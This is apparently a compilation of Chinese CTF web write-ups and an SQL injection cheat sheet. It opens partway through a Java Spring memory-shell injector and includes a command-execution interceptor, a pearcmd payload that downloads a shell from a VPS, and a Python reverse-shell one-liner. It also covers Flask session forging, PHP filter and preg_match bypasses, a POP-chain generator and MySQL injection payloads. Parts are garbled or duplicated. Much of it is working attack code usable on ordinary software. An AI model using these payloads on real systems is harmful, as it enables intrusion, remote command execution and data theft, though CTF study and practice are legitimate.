MAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF");
        //控制器的bytecode
        ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        method.invoke(classLoader, className, bytes, 0, bytes.length);
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }
}

命令执行回显的控制器。

package com.lyzy.ctf.ezjaba.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class cmdController  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
}

# 0x03 湖湘杯

# web

# easywill

变量覆盖任意文件包含

1	?name=cfile&value=/etc/passwd

可以利用

1	pearcmd.php&+download+VPS/shell.php

可以参考 p 神 pearcmd 妙用

# Pentest in Autumn

java 一把梭

利用扫描工具发现存在 java /actuator 路径泄露，确定为 Java 的 Spring 框架，直接访问 actuator/heapdump 文件无法访问，所以需要绕过，/;/actuator/heapdump

下载 /;/actuator/heapdump 导入分析工具

编写 python 脚本生成密钥

1
2
3

import base64
import struct
print(base64.b64encode(struct.pack(', 89,-26,90,-9,106,118,-109,16,-98,73,38,62,88,127,-92,-68)))

华东南赛区Web4

2021-09-27T13:15:20.000Z

# 涉及知识点

信息收集任意文件读取
Flask 模块
伪随机数
session 构造

# 题目分析

打开题目 Hello World! Read somethings
给出一个链接点击后跳转到百度界面

1	http://xxx.buuoj.cn:81/read?url=https://baidu.com

初步推测 ssrf 尝试 file 协议失败 local_file:// 协议成功读取文件

1
2
3

?url=local_file:///proc/self/cmdline   
#/usr/local/bin/python/app/app.py
?url=local_file://app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

分析源码可知当访问 /flag 时 session [‘username’] == ‘fuck’ 可以直接获得 flag

# 开始构造

1 2	random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)

对于随机数如果 seed 固定则生成随机数可预测

tips: uuid.getnode () 获得 mac 地址

1
2
3

random.seed(1)
print(random.random())
#如果使用python3 可以推测第一次都为 0.13436424411240122  同理如果我们获得 seed 即可构造session

linux 下 mac 地址的位置 /sys/class/net/eth0/address

import random
mac = "02:42:ac:10:83:a8"
random.seed(int(mac.replace(":", ""), 16))
key = str(random.random() * 233)
print(key)
#34.5940640088

这里用 python2 环境

# 生成 session

使用工具 flask-session-cookie-manager

这里有个超级大坑反正我是用 python2 一直没出怀疑人生让后 python3 直接出了

1	python3 flask_session_cookie_manager3.py encode -s 34.5940640088 -t "{'username':'fuck'}"

HarekazeCTF2019-encode_and_encode

2021-07-19T07:07:12.000Z

# 题目分析


error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "not found
\n";
  }
} else {
  $content = 'invalid request
';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);

题目给了源码，利用点应该为 file_get_contents
题目过滤了一些关键字，将 flag 格式过滤

# 解题思路

tips: 在 json 中，字符 Unicode 编码之后等同于该字符，比如 php 等同于 \u0070\u0068\u0070

file_get_contents('php://input') 获取 post 的数据， json_decode($body, true) 用 json 格式解码 post 的数据，然后 is_valid($body) 对 post 数据检验
is_valid($body) 对 post 数据检验，导致无法传输 $banword 中的关键词，也就无法传输 flag ，这里在 json 中，可以使用 Unicode 编码绕过， flag 就等于 \u0066\u006c\u0061\u0067
通过检验后，获取 page 对应的文件，并且页面里的内容也要通过 is_valid 检验，然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{} ，这样就无法明文读取 flag
这里传入 /\u0066\u006c\u0061\u0067 后，由于 flag 文件中也包含 flag 关键字，所以返回 not found ，这也无法使用 file://

file_get_contents 是可以触发 php://filter 的，所以考虑使用伪协议读取，对 php 的过滤使用 Unicode 绕过即可

# 构造

1
2
3

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006C\u0061\u0067"}

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

PicDown

2021-07-15T02:41:26.000Z

# 知识点

liunx 中用户和应用程序可以通过 proc 得到系统的信息，并可以改变内核的某些参数。由于系统的信息，如进程，是动态改变的，所以用户或应用程序读取 proc 文件时，proc 文件系统是动态从系统内核读出所需信息并提交的。

Linux 内核提供了一种通过 /proc 文件系统，在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统，它只存在内存当中，而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
还有的是一些以数字命名的目录，他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在 /proc 下，以进程的 PID 号为目录名，他们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口，是一个 link

cat /proc/[PID]/cmdline    #包含进程的完整命令行信息
/proc/[pid]/comm           #包含进程的命令名。
/proc/[pid]/cwd            #进程当前工作目录的符号链接
/proc/[pid]/environ        #显示进程的环境变量
/proc/[pid]/fd             #包含进程打开文件的情况
/proc/[pid]/fd/[1-?]       #指定进程打开的某个文件的内容，为数字
/proc/[pid]/exe            #为实际运行程序的符号链接

self  #当前进程

注意：在真正做题的时候，我们是不能通过命令的方式执行通过 cat 命令读取 cmdline 的。因为如果 cat 读取 /proc/self/cmdline/ 的话，得到的是 cat 进程的信息。所以我们要通过题目的当前进程使用读取文件（比如，文件包含漏洞，，SSTI，，file:\\ 本地读取，，…/…/…/ 目录穿越，，SSRF）的方式读取 /proc/self/cmdline

# 题目分析

题目开局给了个框随手测试了一下 /flag？？？？直接白给？正常做题

存在包含

1	/etc/passwd #成功读取文件

读取当前命令信息

1	/proc/self/cmdline #python2 app.py

尝试读出源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE)       # 用open()打开/tmp/secret.txt文件，文件描述符为f
SECRET_KEY = f.read().strip()      # 读取secret.txt文件，并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')     # 访问/根目录是渲染search.html


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)       # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"    
    except:
        value = "SOMETHING WRONG!"search.html
    return render_template('search.html', res=value)    # 将value(url获取的内容)渲染到search.html页面


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)          # 这里如果key=SECRET_KEY，那么就从URL中获取shell参数并用system函数(无回显)执行。
        res = "ok"
    else:
        res = "Wrong Key!"
    return res
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

一个标准的 flask 利用点当 key == SECRET_KEY 执行 shell

尝试读取 /tmp/secret.txt 函数执行读取后删除文件 利用 /proc/self/fd/3 读取文件执行内容

1	?url=/proc/self/fd/3

爆破最后一位数字

获得 key ncq/GKZNN9w898fP5q5hkv1aJzhqwvR9BVuR9ZZ/sro= 接下来构造命令

# 利用

python 反弹 shell

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx,xxx,xxx,xxx',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

RCEService

2021-07-14T07:31:42.000Z

# 题目分析

对着题目一顿操作没弄出个所以

发现题目本身是给了源码的



putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected

';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected

';
  } else {
    echo 'Attempting to run command:
';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '

';
  }
}

?>

分析一波过滤了确实多

要求输入 json 格式

# 解法一

正则 trick

当正则表达式匹配超过 10000000 次时，preg_match 将 false 直接返回。

import requests

payload = '{"cmd":"ls /","zz":"' + "a"*(1000000) + '"}'

r = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print r.text

构造脚本

题目 PATH 被更改所以用绝对路径

1	{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}

# 解法二

绕过 preg_match

绕过 preg 匹配的最常见方法之一是使用多行输入，因为 preg 匹配只尝试匹配第一行。而恰好，JSON 可以被格式化为多行，例如：

1
2
3

{
  "cmd": "ls /home/rceservice"
}

由于没有过滤多行输入的检查，所以可以直接构造

1
2
3

{
  "cmd": "/bin/cat /home/rceservice/flag"
}

记得将换行进行 url 编码 % oa

1	?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

参考链接

强网杯

2021-06-17T11:56:25.000Z

# 0x01 pop_master

打开题目


include"class.php";
//class.php.txt
highlight_file(__FILE__);
$a=$_GET['pop'];
$b=$_GET['argv'];
$class=unserialize($a);
$class->XXXXXX($b);  //随机生成6位长度的函数

根据提示信息下载源码

我滴个乖乖 2M 多的链 16 万行

class NXlGlW{
    public $hGYbeeG;
    public function HRD4CW($y3Cae){
eval($y3Cae);

    }
    public function C3akk9($MSL6W){
eval($MSL6W);

    }
}


class qAARvi{
    public $E0cUWyC;
    public function GlSPMd($XHiV9){
$this->BrLVt = "GAVzp";
if(method_exists($this->E0cUWyC, 'YAF1Wt')) $this->E0cUWyC->YAF1Wt($XHiV9);
if(method_exists($this->E0cUWyC, 'KfVcH5')) $this->E0cUWyC->KfVcH5($XHiV9);

    }
    public function olsElL($t43I8){
$this->v35pY = "TNiWd";
eval($t43I8);

    }
}
//......

函数名类名随机生成最总链成用 eval 执行 system (“cat /flag”);

太菜了不会写脚本用手工找几十个就行了，有大佬会写脚本的教教我

贴一个大佬的脚本


include_once "class.php";

include_once "exp_1.php";
/**
 * 
 * $arr = [
 *  new AAA(),
 *  new BBB(),
 *  ...
 * ];
 * 
 */

$source = file_get_contents('class.php');
$fsource = preg_split('/' . PHP_EOL . '/', $source);

$evalfuncarr = [];
$popchain = [];
$i = [];

function isfuncblacklist($fname) {
  $blacklist = ['MISVgg'];
  foreach($blacklist as $b) {
    if($b == $fname) {
      return true;
    }
  }
  return false;
}

foreach ($arr as $a) {
  $methods=get_class_methods($a);
  foreach ($methods as $method) {
      $func = new ReflectionMethod($a, $method);
      if(isfuncblacklist($func->name)) {
        continue;
      }
      $f = $func->getFileName();
      $start_line = $func->getStartLine() - 1;
      $end_line = $func->getEndLine();
      $length = $end_line - $start_line;    
      $body = implode(PHP_EOL, array_slice($fsource, $start_line, $length));
      if(strstr($body, 'eval')){
        array_push($evalfuncarr, array('class'=>$a, 'func'=>$method));
      }
  }
}

function getcaller($funcname) {
  global $arr, $fsource, $blacklist;
  foreach($arr as $a) {
    $methods=get_class_methods($a);
    foreach ($methods as $method) {
      $func = new ReflectionMethod($a, $method);
      if($func->name === $funcname) {
        continue;
      }
      if(isfuncblacklist($func->name)) {
        continue;
      }
      $f = $func->getFileName();
      $start_line = $func->getStartLine() - 1;
      $end_line = $func->getEndLine();
      $length = $end_line - $start_line;    
      $body = implode(PHP_EOL, array_slice($fsource, $start_line, $length));
      if(strstr($body, $funcname)){
        return array(
          'class' => $a,
          'func' => $method
        );
      }
    }
  }
  return NULL;
}

$finded = false;

foreach($evalfuncarr as $a) {
  if($finded == true){
    break;
  }
  $ret = $a;
  $popchain = [];
  while(1) {
    $ret = getcaller($ret['func']);
    if($ret == NULL) {
      array_pop($popchain);
      break;
    }
    array_push($popchain, $ret);
    printf("\r[-] %s", $ret['func']);
    // BrtDix
    if($ret['func'] == 'BrtDix') {
      printf("\n");
      var_dump($popchain);
      foreach($popchain as $p) {
        printf("%s::%s -> ", get_class($p['class']), $p['func']);
      };
      // valid
      valid($a, $popchain);
      // $finded = true;
      break;
    }
  }
}

function valid($evalfunc, $chain) {
  $code = ";
  $code .= "include_once 'class.php';";
  $code .= "\$e = new ".get_class($evalfunc['class'])."();\n";
  for ($i=0; $i < sizeof($chain); $i++) {
      $tmp = $chain[$i];
      $propname = array_keys(get_object_vars($tmp['class']))[0];
      $t = $i - 1;
      $code .= "\$a{$i} = new ".get_class($tmp['class'])."();\n";
      if($i == 0) {
        $code .= "\$a{$i}->{$propname} = \$e;\n";
      } else {
        $code .= "\$a{$i}->{$propname} = \$a{$t};\n";
      }
  }
  $m = sizeof($chain)-1;
  $code .= "\$a{$m}->BrtDix('system(id);// ');";
  echo $code;
  echo "\n\n";
  file_put_contents("test_".$evalfunc['func'].".php", $code);
}

# 0x02 [强网先锋] 赌徒

打开网站看到一串提示信息，
www.zip 下载源码

"utf-8">

//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>
"utf-8">

//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

很明显反序列化 pop 链最终执行 Get_hint file_get_contents 获得 flag

1
2

__invoke()  //当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。
__get()  //当我们试图获取一个不可达属性时(比如private)，类会自动调用__get函数。

1 2	start=》wakeup=》sayhello =》Info=》toString=》this->room=》get =>room=》invoke


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class info
{
    public $promise;
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

}
$info = new info();
$start = new start();
$room = new Room();
$start->name = $info;
$start->name->file['filename']=$room;
$room->a = new room();
echo serialize($start);
/*
$st=new Start();
$st->name=new info();
$st->name->file['filename']=new Room();
$st->name->file['filename']->a=new Room();
print_r(serialize($st));
*/

记得要把开头的 hi 去掉在解码啊～

# 0x03 [强⽹先锋] 寻宝

key1 常见绕过


header('Content-type:text/html;charset=utf-8');
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    


if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

1	ppp[number1]=6666a&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=0abcdef&ppp[number5]=adada

第二个文件下载了，提示如下：
Mr.Smith 先生和 Tang 在 5 月份的时候在一个画展进行了接触，并且在某些地方写下了一些东西
我们将该月有关画展的信息做了汇总，希望你能够从中获取一些信息

压缩包用可以分段下载器都可以下载

文件中有五个图片干扰我好久

最终发现 key2 以明文形式存在 docx 中

key2

贴出寻找脚本

import osfrom docx import Documentpath = r"C:\Users\xxxxx\Desktop\five_month"str_to_search = "KEY2"#input("请输入要搜索的字段：")def search_str_in_paragraph(str_to_search, paragraph):        str_index = paragraph.text.index(str_to_search)    return str_indexfor root, dirs, files in os.walk(path, topdown=False):    for file in files:        filename = file.split(".")[0]        ext = file.split(".")[1]        if ext == "docx":            doc = Document(os.path.join(root, file))            for paragraph in doc.paragraphs:                if str_to_search in paragraph.text:                    str_index = search_str_in_paragraph(str_to_search, paragraph)                    print(paragraph.text[str_index-10:str_index+10], "-----", filename, "-----", os.path.join(root, file))

！[

](https://img-blog.csdnimg.cn/20210615112844856.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM0MDk3NDk3,size_16,color_FFFFFF,t_70)

sql注入

2021-05-12T14:10:51.000Z

# 默认存在的数据库：

mysql	需要 root 权限读取
information_schema	在 5 以上的版本中存在

# 测试是否存在注入方法

假：表示查询是错误的 (MySQL 报错 / 返回页面与原来不同)

真：表示查询是正常的 (返回页面与原来相同)

共三种情况：

字符串类型查询时：	数字类型查询时：	登陆时：
‘假’' 真 "假"" 真 \ 假 \ 真	AND 1 真 AND 0 假 AND true 真 AND false 假 1-false 有问题时返回 1 的结果 1-true 有问题时返回 0 的结果 2-1 返回与 1 相同代表可能存在问题 156 返回与 56 相同代表可能存在问题 156 返回与 1 相同代表没有问题	’ OR ‘1’ OR 1 – -" OR “” = “” OR 1 = 1 – -’=’‘LIKE’’=0–+

例子:

1
2
3

SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以使用很多单双引号，只要是成对出现。

1	SELECT * FROM Articles WHERE id = '121'''''''''''''

引号后的语句会继续执行。

1	SELECT '1'''''"" UNION SELECT '2' # 1 and 2

下面的符号可以用来注释语句：

#	Hash 语法
/*	C-style 语法
– -	SQL 语法
;%00	空字节
` \| 反引号 \|

例子：

1 2	SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

# 测试数据库版本

1
2
3

VERSION()
@@VERSION
@@GLOBAL.VERSION

如果版本为 5 的话，下面例子返回为真：

1	SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

windows 平台上的 mysql 查询与 linux 上返回不同，如果是 windows 服务器返回结果会包含 -nt-log 字符。

# 数据库认证信息：

表	mysql.user
字段	user, password
当前用户	user(), current_user(), current_user, system_user(), session_user()

例子：

1 2	SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

# 数据库名：

表	information_schema.schemata, mysql.db
字段	schema_name, db
当前数据库	database(), schema()

例子：

1
2
3

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

# 服务器主机名：

1	@@HOSTNAME

例子：

1	SELECT @@hostname;

# 表和字段

# 检测字段数

两种方式：

ORDER BY 判断	ORDER BY n+1; 让 n 一直增加直到出现错误页面。例子：查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1’; 1’ ORDER BY 1–+ 真 1’ ORDER BY 2–+ 真 1’ ORDER BY 3–+ 真 1’ ORDER BY 4–+ 假 - 查询只用了 3 个字段 -1’ UNION SELECT 1,2,3–+ 真
基于错误查询	AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意：这种方式需要你知道所要查询的表名。这种报错方式返回表的字段数，而不是错误的查询语句。例子：查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回 Users 的字段数

# 查询表名

三种方式：

Union 方式

UNION SELECT GROUP_CONCAT (table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4 版本时用 version=9，MySQL 5 版本时用 version=10

盲注

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’

报错

AND (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1) x GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR (RAND (0)*2))) (@:=1)||@ GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN (@:=0); AND ExtractValue (1, CONCAT (0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在 5.1.5 版本中成功。

# 查询列名

Union 方式	UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
盲注	AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’
报错	AND (SELECT COUNT () FROM (SELECT 1 UNION SELECT null UNION SELECT !1) x GROUP BY CONCAT ((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR (RAND (0)2))) (@:=1)\|\|@ GROUP BY CONCAT ((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @\|\|MIN (@:=0); AND ExtractValue (1, CONCAT (0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在 5.1.5 版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1 版本修复了
